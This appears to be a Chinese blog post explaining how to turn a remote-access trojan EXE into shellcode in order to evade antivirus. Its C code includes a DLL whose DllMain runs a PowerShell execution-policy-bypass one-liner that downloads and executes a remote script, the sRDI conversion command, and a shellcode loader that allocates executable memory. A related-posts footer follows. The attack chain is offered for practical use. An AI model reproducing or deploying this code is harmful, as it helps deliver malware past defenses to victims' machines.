之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有

这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”

测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……

脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”

但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会

于是乎,想到了另外一种歪门邪道的方法:

正文开始

  GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows

  这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)

#include <windows.h>
using namespace std;
void powershell() {
system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) {
switch(fdwReason) {
case DLL_PROCESS_ATTACH: {
powershell();
}
case DLL_PROCESS_DETACH: {
break;
}
case DLL_THREAD_ATTACH: {
powershell();
}
case DLL_THREAD_DETACH: {
break;
}
}
return TRUE;
}

创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了

python ConvertToShellcode.py -i -c name.dll

在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!

扩展补充

可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便

C语言Shellcode加载器

#include <windows.h>
int main(){
unsigned char shellcode[] = { };//输入你的c语言格式的shellcode
// Allocate memory for shellcode
LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpShellcode == NULL)return 0;
// Copy shellcode to allocated memory
memcpy(lpShellcode, shellcode, sizeof(shellcode));
// Execute shellcode
((void(*)())lpShellcode)();
// Free allocated memory
VirtualFree(lpShellcode, 0, MEM_RELEASE);
return 0;
}

任意Exe转ShellCode?的更多相关文章

  1. 把任意exe程序注册成windows系统服务

    某gae代理软件每次开机都需要手动启动,就算添加成开机启动项,在win8.1下权限的管理更加严格,开机时并不能成功启动软件(无人值守时开机),因此在网上搜索把exe注册成系统服务的办法,找到论坛两个帖 ...

  2. BS项目启动任意EXE文件或者CS项目

    1. 基于注册表启动exe程序 1. 桌面新建注册表执行文件:protocal.reg 2. 任意文本编辑器打开该文件 Windows Registry Editor Version 5.00 [HK ...

  3. 怎样把任意exe程序注册成windows系统服务(手动注册服务)

    1. 要实现这个功能要用到微软提供的两个小工具“instsrv.exe”和“srvany.exe”(下载地址:http://www.cr173.com/soft/64394.html). 先下载这两个 ...

  4. 使用NSSM把任意exe程序注册成Windows服务

    1.登录NSSM官网下载最新版本: http://www.nssm.cc/download 2.解压之后可以看到win32和win64位的nssm.exe,根据自己的电脑选择使用 3.拷贝一份nssm ...

  5. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  6. 把exe注册为windows服务

    1.需要工具 Instsrv.exe(可以给系统安装和删除服务) Srvany.exe(可以让程序以服务的方式运行) 2.运行cmd,输入注册服务命令 "instsrv.exe完整路径&qu ...

  7. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

  8. The Honeynet ProjectThe Honeynet Project

    catalogue . 蜜罐基本概念 . Kippo: SSH低交互蜜罐安装.使用 . Dionaea: 低交互式蜜罐框架部署 . Thug . Amun malware honeypots . Gl ...

  9. OD: ASLR

    ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化.堆栈随机化.PE ...

  10. 我的第一个RootKit,支持XP、Vista、Win7、Win8 RTM 32位

    只有写过一个BootKit,才能比较深刻的理解其整个过程与机制,也能加深对Windows系统引导各个过程的熟悉和理解. 我写的这个bootkit,暂时还没想到一个比较好的名字,它 1.  支持xp到w ...

随机推荐

  1. 内存模型和名称空间复习题(c++ prime plus )

    第一题 注意到setgolf()被重载,可以这样使用其第一个版本: golf ann; setgolf(ann, "Ann Birdfree", 24); 上述函数调用提供了存储在 ...

  2. windows 10 的VMware workstation Pro突然变成英文界面

    电脑的VMware虚拟机界面是中文版的,后来在捣弄些电脑配置,突然变成英文版界面了. 后面发现原来是区域格式选错了:正确的格式是下图红框

  3. maven资源导出问题

    <!--在build中配置resources,来防止我们资源导出失败的问题--> <build> <resources> <resource> < ...

  4. Android studio 使用Internet传递信息

    使用Intent在Activity之间传递信息1.首先创建一个新的Activity,在activity_main.xml中设计页面,将android.support.constraint.Constr ...

  5. git commit --amend适用场景详解

    适用场景: 场景1.本地开发代码已提交,提交后发现这次提交的代码有问题,或者漏提交了一些文件,此时,希望达到以下目的: ①修改有问题的代码. ②补足漏提交的文件(一般是新增的文件没有git add . ...

  6. sql学习笔记 - 1 数据库简介

    数据库简介 """ 本学习笔记来自哔哩哔哩--老男孩Python全栈开发29期全套 https://www.bilibili.com/video/BV1QE41147hU ...

  7. Docker部署Nginx报错 WARNING: IPv4 forwarding is disabled. Networking will not work.

    Docker 部署 Nginx 报错 WARNING: IPv4 forwarding is disabled. Networking will not work. [root@localhost ~ ...

  8. php上传文件时出现 caution: request is not finished yet

    其中的一个原因:是wamp64下的tmp文件夹中的临时文件太多,把这个文件夹的临时文件清理后就可以了.

  9. Delphi中idHttpServer

    Delphi7中测试idHttpServer,自带的idHttpServer 仅放上测试的部分代码,便于自己查看 1 unit Unit1; 2 3 interface 4 5 uses 6 Wind ...

  10. Linux查看CPU 内存命令

    查看CPU 内存命令:https://www.cnblogs.com/ggjucheng/archive/2013/01/14/2859613.html 查看某一进程内存占用:ps -ef 获取PID ...